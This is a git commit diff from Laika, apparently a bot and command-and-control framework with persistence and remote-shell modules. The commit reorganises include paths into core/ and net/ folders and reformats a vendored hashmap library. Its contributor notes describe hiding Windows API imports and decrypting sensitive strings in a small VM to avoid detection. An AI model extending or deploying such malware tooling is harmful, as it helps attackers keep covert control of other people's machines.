1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

Refactoring: reorganized files

This commit is contained in:
CPunch 2022-09-01 20:00:37 -05:00
parent 169313ee39
commit b23057b219
52 changed files with 639 additions and 557 deletions

View File

@ -17,7 +17,7 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support - Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
- Fix address sanitizer for CMake DEBUG builds - Fix address sanitizer for CMake DEBUG builds
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features - Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features
- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h` - Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`
- Import more WinAPI manually using the method listed below - Import more WinAPI manually using the method listed below
## Bot: Windows API Imports Obfuscation ## Bot: Windows API Imports Obfuscation
@ -63,7 +63,7 @@ If the `real` & `hashed` match, that means our manual runtime import and the imp
Now just replace all of the calls to the raw WinAPI (in our case, ShellExecuteA) with our new manually imported oShellExecuteA function pointer. Format & commit your changes, and open a PR and I'll merge your changes. Thanks! Now just replace all of the calls to the raw WinAPI (in our case, ShellExecuteA) with our new manually imported oShellExecuteA function pointer. Format & commit your changes, and open a PR and I'll merge your changes. Thanks!
## Lib: Error Handling ## Lib: Error Handling
Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors. Error handling in Laika is done via the 'core/lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
Example: Example:
```C ```C
@ -85,13 +85,13 @@ Some minor inconveniences include:
## Lib: Packet Handlers ## Lib: Packet Handlers
Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.) Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/net/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
## Lib: Task Service ## Lib: Task Service
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server. Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
## Lib: VM Boxes ## Lib: VM Boxes
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/core/lvm.h`, for information on how to use them read `lib/include/core/lbox.h`. Feel free to write your own boxes and contribute them :D
## Bot: Platform-specific backends ## Bot: Platform-specific backends

View File

@ -1,13 +1,13 @@
#ifndef LAIKA_BOT_H #ifndef LAIKA_BOT_H
#define LAIKA_BOT_H #define LAIKA_BOT_H
#include "core/lsodium.h"
#include "core/ltask.h"
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "net/lpacket.h"
#include "lpeer.h" #include "net/lpeer.h"
#include "lpolllist.h" #include "net/lpolllist.h"
#include "lsocket.h" #include "net/lsocket.h"
#include "lsodium.h"
#include "ltask.h"
struct sLaika_shell; struct sLaika_shell;
struct sLaika_bot struct sLaika_bot

View File

@ -2,7 +2,7 @@
#define LAIKA_SHELL_H #define LAIKA_SHELL_H
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "net/lpacket.h"
#include <time.h> #include <time.h>

View File

@ -1,10 +1,10 @@
/* platform specific code for achieving persistence on linux */ /* platform specific code for achieving persistence on linux */
#include "lbox.h" #include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lconfig.h" #include "lconfig.h"
#include "lerror.h" #include "net/lsocket.h"
#include "lmem.h"
#include "lsocket.h"
#include "persist.h" #include "persist.h"
#include <pwd.h> #include <pwd.h>

View File

@ -1,9 +1,9 @@
/* platform specific code for opening shells in linux */ /* platform specific code for opening shells in linux */
#include "bot.h" #include "bot.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
#include "ltask.h" #include "core/ltask.h"
#include "shell.h" #include "shell.h"
#include <pty.h> #include <pty.h>

View File

@ -1,9 +1,9 @@
#include "bot.h" #include "bot.h"
#include "lbox.h" #include "core/lbox.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
#include "lsodium.h" #include "core/lsodium.h"
#include "shell.h" #include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)

View File

@ -1,8 +1,8 @@
#include "bot.h" #include "bot.h"
#include "lbox.h" #include "core/lbox.h"
#include "core/lerror.h"
#include "core/ltask.h"
#include "lconfig.h" #include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "lobf.h" #include "lobf.h"
#include "persist.h" #include "persist.h"
#include "shell.h" #include "shell.h"

View File

@ -1,8 +1,8 @@
#include "shell.h" #include "shell.h"
#include "bot.h" #include "bot.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
#include <inttypes.h> #include <inttypes.h>
#include <stdio.h> #include <stdio.h>

View File

@ -6,11 +6,11 @@
#pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "Shlwapi.lib")
#include "lbox.h" #include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lvm.h"
#include "lconfig.h" #include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "lobf.h" #include "lobf.h"
#include "persist.h" #include "persist.h"

View File

@ -1,8 +1,8 @@
/* platform specific code for opening shells (pseudo consoles) on windows */ /* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h" #include "bot.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lobf.h" #include "lobf.h"
#include "lerror.h"
#include "lmem.h"
#include "shell.h" #include "shell.h"
#include <process.h> #include <process.h>

View File

@ -1,14 +1,14 @@
#ifndef LAIKA_CNC_H #ifndef LAIKA_CNC_H
#define LAIKA_CNC_H #define LAIKA_CNC_H
#include "hashmap.h" #include "core/hashmap.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "laika.h" #include "laika.h"
#include "lmem.h" #include "net/lpacket.h"
#include "lpacket.h" #include "net/lpeer.h"
#include "lpeer.h" #include "net/lpolllist.h"
#include "lpolllist.h" #include "net/lsocket.h"
#include "lsocket.h"
#include "ltask.h"
/* kill peers if they haven't ping'd within a minute */ /* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000 #define LAIKA_PEER_TIMEOUT 60 * 1000

View File

@ -2,7 +2,7 @@
#define LAIKA_CNC_PANEL_H #define LAIKA_CNC_PANEL_H
#include "cnc.h" #include "cnc.h"
#include "lpeer.h" #include "net/lpeer.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer); void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);

View File

@ -2,10 +2,10 @@
#define LAIKA_CNC_PEER_H #define LAIKA_CNC_PEER_H
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "net/lpacket.h"
#include "lpeer.h" #include "net/lpeer.h"
#include "lpolllist.h" #include "net/lpolllist.h"
#include "lsocket.h" #include "net/lsocket.h"
struct sLaika_peerInfo struct sLaika_peerInfo
{ {

View File

@ -1,12 +1,12 @@
#include "cnc.h" #include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "cpanel.h" #include "cpanel.h"
#include "cpeer.h" #include "cpeer.h"
#include "lerror.h" #include "net/lsocket.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
/* ======================================[[ PeerHashMap ]]======================================= */ /* ======================================[[ PeerHashMap ]]======================================= */

View File

@ -1,9 +1,9 @@
#include "cpanel.h" #include "cpanel.h"
#include "cnc.h" #include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "cpeer.h" #include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{ {

View File

@ -1,8 +1,8 @@
#include "cpeer.h" #include "cpeer.h"
#include "cnc.h" #include "cnc.h"
#include "lerror.h" #include "core/lerror.h"
#include "lmem.h" #include "core/lmem.h"
/* =======================================[[ Peer Info ]]======================================= */ /* =======================================[[ Peer Info ]]======================================= */

View File

@ -1,7 +1,7 @@
#include "cnc.h" #include "cnc.h"
#include "ini.h" #include "core/ini.h"
#include "core/ltask.h"
#include "lconfig.h" #include "lconfig.h"
#include "ltask.h"
#include <stdio.h> #include <stdio.h>

View File

@ -8,7 +8,7 @@ project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
set_property(GLOBAL PROPERTY USE_FOLDERS ON) set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile LaikaLib library # compile LaikaLib library
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c) file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
# include platform specific backends # include platform specific backends

View File

@ -16,7 +16,8 @@ https://github.com/benhoyt/inih
/* Make this header file easier to include in C++ code */ /* Make this header file easier to include in C++ code */
#ifdef __cplusplus #ifdef __cplusplus
extern "C" { extern "C"
{
#endif #endif
#include <stdio.h> #include <stdio.h>
@ -28,12 +29,10 @@ extern "C" {
/* Typedef for prototype of handler function. */ /* Typedef for prototype of handler function. */
#if INI_HANDLER_LINENO #if INI_HANDLER_LINENO
typedef int (*ini_handler)(void* user, const char* section, typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value,
const char* name, const char* value,
int lineno); int lineno);
#else #else
typedef int (*ini_handler)(void* user, const char* section, typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value);
const char* name, const char* value);
#endif #endif
/* Typedef for prototype of fgets-style reader function. */ /* Typedef for prototype of fgets-style reader function. */
@ -61,8 +60,7 @@ int ini_parse_file(FILE* file, ini_handler handler, void* user);
/* Same as ini_parse(), but takes an ini_reader function pointer instead of /* Same as ini_parse(), but takes an ini_reader function pointer instead of
filename. Used for implementing custom or string-based I/O (see also filename. Used for implementing custom or string-based I/O (see also
ini_parse_string). */ ini_parse_string). */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler, int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user);
void* user);
/* Same as ini_parse(), but takes a zero-terminated string with the INI data /* Same as ini_parse(), but takes a zero-terminated string with the INI data
instead of a file. Useful for parsing INI data from a network socket or instead of a file. Useful for parsing INI data from a network socket or
@ -149,7 +147,6 @@ int ini_parse_string(const char* string, ini_handler handler, void* user);
# define INI_CUSTOM_ALLOCATOR 0 # define INI_CUSTOM_ALLOCATOR 0
#endif #endif
#ifdef __cplusplus #ifdef __cplusplus
} }
#endif #endif

View File

@ -1,10 +1,10 @@
#ifndef LAIKA_BOX_H #ifndef LAIKA_BOX_H
#define LAIKA_BOX_H #define LAIKA_BOX_H
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/lvm.h"
#include "laika.h" #include "laika.h"
#include "lmem.h"
#include "lsodium.h"
#include "lvm.h"
#include <inttypes.h> #include <inttypes.h>

View File

@ -9,8 +9,8 @@
fit this specific use case. fit this specific use case.
*/ */
#include "core/lerror.h"
#include "laika.h" #include "laika.h"
#include "lerror.h"
#include <inttypes.h> #include <inttypes.h>

View File

@ -1,11 +1,11 @@
#ifndef LAIKA_PEER_H #ifndef LAIKA_PEER_H
#define LAIKA_PEER_H #define LAIKA_PEER_H
#include "core/lsodium.h"
#include "laika.h" #include "laika.h"
#include "lpacket.h" #include "net/lpacket.h"
#include "lpolllist.h" #include "net/lpolllist.h"
#include "lsocket.h" #include "net/lsocket.h"
#include "lsodium.h"
typedef enum typedef enum
{ {

View File

@ -1,10 +1,10 @@
#ifndef LAIKA_POLLLIST_H #ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H #define LAIKA_POLLLIST_H
#include "hashmap.h" #include "core/hashmap.h"
#include "core/lmem.h"
#include "laika.h" #include "laika.h"
#include "lmem.h" #include "net/lsocket.h"
#include "lsocket.h"
#include <stdbool.h> #include <stdbool.h>

View File

@ -54,8 +54,8 @@ typedef void buffer_t;
# define SOCKETERROR(x) (x == -1) # define SOCKETERROR(x) (x == -1)
#endif #endif
#include "laika.h" #include "laika.h"
#include "lsodium.h" #include "core/lsodium.h"
#include "lmem.h" #include "core/lmem.h"
#include <fcntl.h> #include <fcntl.h>
#include <stdbool.h> #include <stdbool.h>

View File

@ -2,7 +2,7 @@
// Use of this source code is governed by an MIT-style // Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file. // license that can be found in the LICENSE file.
#include "hashmap.h" #include "core/hashmap.h"
#include <stddef.h> #include <stddef.h>
#include <stdint.h> #include <stdint.h>
@ -23,18 +23,21 @@ void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*))
_free = free; _free = free;
} }
#define panic(_msg_) { \ #define panic(_msg_) \
{ \
fprintf(stderr, "panic: %s (%s:%d)\n", (_msg_), __FILE__, __LINE__); \ fprintf(stderr, "panic: %s (%s:%d)\n", (_msg_), __FILE__, __LINE__); \
exit(1); \ exit(1); \
} }
struct bucket { struct bucket
{
uint64_t hash : 48; uint64_t hash : 48;
uint64_t dib : 16; uint64_t dib : 16;
}; };
// hashmap is an open addressed hash map using robinhood hashing. // hashmap is an open addressed hash map using robinhood hashing.
struct hashmap { struct hashmap
{
void *(*malloc)(size_t); void *(*malloc)(size_t);
void *(*realloc)(void *, size_t); void *(*realloc)(void *, size_t);
void (*free)(void *); void (*free)(void *);
@ -58,32 +61,30 @@ struct hashmap {
void *edata; void *edata;
}; };
static struct bucket *bucket_at(struct hashmap *map, size_t index) { static struct bucket *bucket_at(struct hashmap *map, size_t index)
{
return (struct bucket *)(((char *)map->buckets) + (map->bucketsz * index)); return (struct bucket *)(((char *)map->buckets) + (map->bucketsz * index));
} }
static void *bucket_item(struct bucket *entry) { static void *bucket_item(struct bucket *entry)
{
return ((char *)entry) + sizeof(struct bucket); return ((char *)entry) + sizeof(struct bucket);
} }
static uint64_t get_hash(struct hashmap *map, const void *key) { static uint64_t get_hash(struct hashmap *map, const void *key)
{
return map->hash(key, map->seed0, map->seed1) << 16 >> 16; return map->hash(key, map->seed0, map->seed1) << 16 >> 16;
} }
// hashmap_new_with_allocator returns a new hash map using a custom allocator. // hashmap_new_with_allocator returns a new hash map using a custom allocator.
// See hashmap_new for more information information // See hashmap_new for more information information
struct hashmap *hashmap_new_with_allocator( struct hashmap *
void *(*_malloc)(size_t), hashmap_new_with_allocator(void *(*_malloc)(size_t), void *(*_realloc)(void *, size_t),
void *(*_realloc)(void*, size_t), void (*_free)(void *), size_t elsize, size_t cap, uint64_t seed0,
void (*_free)(void*), uint64_t seed1,
size_t elsize, size_t cap, uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
uint64_t seed0, uint64_t seed1, int (*compare)(const void *a, const void *b, void *udata),
uint64_t (*hash)(const void *item, void (*elfree)(void *item), void *udata)
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata)
{ {
_malloc = _malloc ? _malloc : malloc; _malloc = _malloc ? _malloc : malloc;
_realloc = _realloc ? _realloc : realloc; _realloc = _realloc ? _realloc : realloc;
@ -135,7 +136,6 @@ struct hashmap *hashmap_new_with_allocator(
return map; return map;
} }
// hashmap_new returns a new hash map. // hashmap_new returns a new hash map.
// Param `elsize` is the size of each element in the tree. Every element that // Param `elsize` is the size of each element in the tree. Every element that
// is inserted, deleted, or retrieved will be this size. // is inserted, deleted, or retrieved will be this size.
@ -153,40 +153,35 @@ struct hashmap *hashmap_new_with_allocator(
// The hashmap must be freed with hashmap_free(). // The hashmap must be freed with hashmap_free().
// Param `elfree` is a function that frees a specific item. This should be NULL // Param `elfree` is a function that frees a specific item. This should be NULL
// unless you're storing some kind of reference data in the hash. // unless you're storing some kind of reference data in the hash.
struct hashmap *hashmap_new(size_t elsize, size_t cap, struct hashmap *hashmap_new(size_t elsize, size_t cap, uint64_t seed0, uint64_t seed1,
uint64_t seed0, uint64_t seed1, uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
uint64_t (*hash)(const void *item, int (*compare)(const void *a, const void *b, void *udata),
uint64_t seed0, uint64_t seed1), void (*elfree)(void *item), void *udata)
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata)
{ {
return hashmap_new_with_allocator( return hashmap_new_with_allocator((_malloc ? _malloc : malloc), (_realloc ? _realloc : realloc),
(_malloc?_malloc:malloc), (_free ? _free : free), elsize, cap, seed0, seed1, hash,
(_realloc?_realloc:realloc), compare, elfree, udata);
(_free?_free:free),
elsize, cap, seed0, seed1, hash, compare, elfree, udata
);
} }
static void free_elements(struct hashmap *map) { static void free_elements(struct hashmap *map)
{
if (map->elfree) { if (map->elfree) {
for (size_t i = 0; i < map->nbuckets; i++) { for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *bucket = bucket_at(map, i); struct bucket *bucket = bucket_at(map, i);
if (bucket->dib) map->elfree(bucket_item(bucket)); if (bucket->dib)
map->elfree(bucket_item(bucket));
} }
} }
} }
// hashmap_clear quickly clears the map. // hashmap_clear quickly clears the map.
// Every item is called with the element-freeing function given in hashmap_new, // Every item is called with the element-freeing function given in hashmap_new,
// if present, to free any data referenced in the elements of the hashmap. // if present, to free any data referenced in the elements of the hashmap.
// When the update_cap is provided, the map's capacity will be updated to match // When the update_cap is provided, the map's capacity will be updated to match
// the currently number of allocated buckets. This is an optimization to ensure // the currently number of allocated buckets. This is an optimization to ensure
// that this operation does not perform any allocations. // that this operation does not perform any allocations.
void hashmap_clear(struct hashmap *map, bool update_cap) { void hashmap_clear(struct hashmap *map, bool update_cap)
{
map->count = 0; map->count = 0;
free_elements(map); free_elements(map);
if (update_cap) { if (update_cap) {
@ -205,11 +200,10 @@ void hashmap_clear(struct hashmap *map, bool update_cap) {
map->shrinkat = map->nbuckets * 0.10; map->shrinkat = map->nbuckets * 0.10;
} }
static bool resize(struct hashmap *map, size_t new_cap)
static bool resize(struct hashmap *map, size_t new_cap) { {
struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1, struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1, map->seed1, map->hash,
map->seed1, map->hash, map->compare, map->compare, map->elfree, map->udata);
map->elfree, map->udata);
if (!map2) { if (!map2) {
return false; return false;
} }
@ -249,7 +243,8 @@ static bool resize(struct hashmap *map, size_t new_cap) {
// replaced then it is returned otherwise NULL is returned. This operation // replaced then it is returned otherwise NULL is returned. This operation
// may allocate memory. If the system is unable to allocate additional // may allocate memory. If the system is unable to allocate additional
// memory then NULL is returned and hashmap_oom() returns true. // memory then NULL is returned and hashmap_oom() returns true.
void *hashmap_set(struct hashmap *map, const void *item) { void *hashmap_set(struct hashmap *map, const void *item)
{
if (!item) { if (!item) {
panic("item is null"); panic("item is null");
} }
@ -261,7 +256,6 @@ void *hashmap_set(struct hashmap *map, const void *item) {
} }
} }
struct bucket *entry = map->edata; struct bucket *entry = map->edata;
entry->hash = get_hash(map, item); entry->hash = get_hash(map, item);
entry->dib = 1; entry->dib = 1;
@ -276,9 +270,7 @@ void *hashmap_set(struct hashmap *map, const void *item) {
return NULL; return NULL;
} }
if (entry->hash == bucket->hash && if (entry->hash == bucket->hash &&
map->compare(bucket_item(entry), bucket_item(bucket), map->compare(bucket_item(entry), bucket_item(bucket), map->udata) == 0) {
map->udata) == 0)
{
memcpy(map->spare, bucket_item(bucket), map->elsize); memcpy(map->spare, bucket_item(bucket), map->elsize);
memcpy(bucket_item(bucket), bucket_item(entry), map->elsize); memcpy(bucket_item(bucket), bucket_item(entry), map->elsize);
return map->spare; return map->spare;
@ -295,7 +287,8 @@ void *hashmap_set(struct hashmap *map, const void *item) {
// hashmap_get returns the item based on the provided key. If the item is not // hashmap_get returns the item based on the provided key. If the item is not
// found then NULL is returned. // found then NULL is returned.
void *hashmap_get(struct hashmap *map, const void *key) { void *hashmap_get(struct hashmap *map, const void *key)
{
if (!key) { if (!key) {
panic("key is null"); panic("key is null");
} }
@ -306,9 +299,7 @@ void *hashmap_get(struct hashmap *map, const void *key) {
if (!bucket->dib) { if (!bucket->dib) {
return NULL; return NULL;
} }
if (bucket->hash == hash && if (bucket->hash == hash && map->compare(key, bucket_item(bucket), map->udata) == 0) {
map->compare(key, bucket_item(bucket), map->udata) == 0)
{
return bucket_item(bucket); return bucket_item(bucket);
} }
i = (i + 1) & map->mask; i = (i + 1) & map->mask;
@ -318,7 +309,8 @@ void *hashmap_get(struct hashmap *map, const void *key) {
// hashmap_probe returns the item in the bucket at position or NULL if an item // hashmap_probe returns the item in the bucket at position or NULL if an item
// is not set for that bucket. The position is 'moduloed' by the number of // is not set for that bucket. The position is 'moduloed' by the number of
// buckets in the hashmap. // buckets in the hashmap.
void *hashmap_probe(struct hashmap *map, uint64_t position) { void *hashmap_probe(struct hashmap *map, uint64_t position)
{
size_t i = position & map->mask; size_t i = position & map->mask;
struct bucket *bucket = bucket_at(map, i); struct bucket *bucket = bucket_at(map, i);
if (!bucket->dib) { if (!bucket->dib) {
@ -327,10 +319,10 @@ void *hashmap_probe(struct hashmap *map, uint64_t position) {
return bucket_item(bucket); return bucket_item(bucket);
} }
// hashmap_delete removes an item from the hash map and returns it. If the // hashmap_delete removes an item from the hash map and returns it. If the
// item is not found then NULL is returned. // item is not found then NULL is returned.
void *hashmap_delete(struct hashmap *map, void *key) { void *hashmap_delete(struct hashmap *map, void *key)
{
if (!key) { if (!key) {
panic("key is null"); panic("key is null");
} }
@ -342,9 +334,7 @@ void *hashmap_delete(struct hashmap *map, void *key) {
if (!bucket->dib) { if (!bucket->dib) {
return NULL; return NULL;
} }
if (bucket->hash == hash && if (bucket->hash == hash && map->compare(key, bucket_item(bucket), map->udata) == 0) {
map->compare(key, bucket_item(bucket), map->udata) == 0)
{
memcpy(map->spare, bucket_item(bucket), map->elsize); memcpy(map->spare, bucket_item(bucket), map->elsize);
bucket->dib = 0; bucket->dib = 0;
for (;;) { for (;;) {
@ -372,15 +362,18 @@ void *hashmap_delete(struct hashmap *map, void *key) {
} }
// hashmap_count returns the number of items in the hash map. // hashmap_count returns the number of items in the hash map.
size_t hashmap_count(struct hashmap *map) { size_t hashmap_count(struct hashmap *map)
{
return map->count; return map->count;
} }
// hashmap_free frees the hash map // hashmap_free frees the hash map
// Every item is called with the element-freeing function given in hashmap_new, // Every item is called with the element-freeing function given in hashmap_new,
// if present, to free any data referenced in the elements of the hashmap. // if present, to free any data referenced in the elements of the hashmap.
void hashmap_free(struct hashmap *map) { void hashmap_free(struct hashmap *map)
if (!map) return; {
if (!map)
return;
free_elements(map); free_elements(map);
map->free(map->buckets); map->free(map->buckets);
map->free(map); map->free(map);
@ -388,15 +381,15 @@ void hashmap_free(struct hashmap *map) {
// hashmap_oom returns true if the last hashmap_set() call failed due to the // hashmap_oom returns true if the last hashmap_set() call failed due to the
// system being out of memory. // system being out of memory.
bool hashmap_oom(struct hashmap *map) { bool hashmap_oom(struct hashmap *map)
{
return map->oom; return map->oom;
} }
// hashmap_scan iterates over all items in the hash map // hashmap_scan iterates over all items in the hash map
// Param `iter` can return false to stop iteration early. // Param `iter` can return false to stop iteration early.
// Returns false if the iteration has been stopped early. // Returns false if the iteration has been stopped early.
bool hashmap_scan(struct hashmap *map, bool hashmap_scan(struct hashmap *map, bool (*iter)(const void *item, void *udata), void *udata)
bool (*iter)(const void *item, void *udata), void *udata)
{ {
for (size_t i = 0; i < map->nbuckets; i++) { for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *bucket = bucket_at(map, i); struct bucket *bucket = bucket_at(map, i);
@ -409,7 +402,6 @@ bool hashmap_scan(struct hashmap *map,
return true; return true;
} }
// hashmap_iter iterates one key at a time yielding a reference to an // hashmap_iter iterates one key at a time yielding a reference to an
// entry at each iteration. Useful to write simple loops and avoid writing // entry at each iteration. Useful to write simple loops and avoid writing
// dedicated callbacks and udata structures, as in hashmap_scan. // dedicated callbacks and udata structures, as in hashmap_scan.
@ -433,7 +425,8 @@ bool hashmap_iter(struct hashmap *map, size_t *i, void **item)
struct bucket *bucket; struct bucket *bucket;
do { do {
if (*i >= map->nbuckets) return false; if (*i >= map->nbuckets)
return false;
bucket = bucket_at(map, *i); bucket = bucket_at(map, *i);
(*i)++; (*i)++;
@ -444,7 +437,6 @@ bool hashmap_iter(struct hashmap *map, size_t *i, void **item)
return true; return true;
} }
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// SipHash reference C implementation // SipHash reference C implementation
// //
@ -462,32 +454,42 @@ bool hashmap_iter(struct hashmap *map, size_t *i, void **item)
// //
// default: SipHash-2-4 // default: SipHash-2-4
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
static uint64_t SIP64(const uint8_t *in, const size_t inlen, static uint64_t SIP64(const uint8_t *in, const size_t inlen, uint64_t seed0, uint64_t seed1)
uint64_t seed0, uint64_t seed1)
{ {
#define U8TO64_LE(p) \ #define U8TO64_LE(p) \
{ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \ {(((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | ((uint64_t)((p)[2]) << 16) | \
((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \ ((uint64_t)((p)[3]) << 24) | ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))} ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))}
#define U64TO8_LE(p, v) \ #define U64TO8_LE(p, v) \
{ U32TO8_LE((p), (uint32_t)((v))); \ { \
U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); } U32TO8_LE((p), (uint32_t)((v))); \
U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); \
}
#define U32TO8_LE(p, v) \ #define U32TO8_LE(p, v) \
{ (p)[0] = (uint8_t)((v)); \ { \
(p)[0] = (uint8_t)((v)); \
(p)[1] = (uint8_t)((v) >> 8); \ (p)[1] = (uint8_t)((v) >> 8); \
(p)[2] = (uint8_t)((v) >> 16); \ (p)[2] = (uint8_t)((v) >> 16); \
(p)[3] = (uint8_t)((v) >> 24); } (p)[3] = (uint8_t)((v) >> 24); \
}
#define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b)))) #define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))
#define SIPROUND \ #define SIPROUND \
{ v0 += v1; v1 = ROTL(v1, 13); \ { \
v1 ^= v0; v0 = ROTL(v0, 32); \ v0 += v1; \
v2 += v3; v3 = ROTL(v3, 16); \ v1 = ROTL(v1, 13); \
v1 ^= v0; \
v0 = ROTL(v0, 32); \
v2 += v3; \
v3 = ROTL(v3, 16); \
v3 ^= v2; \ v3 ^= v2; \
v0 += v3; v3 = ROTL(v3, 21); \ v0 += v3; \
v3 = ROTL(v3, 21); \
v3 ^= v0; \ v3 ^= v0; \
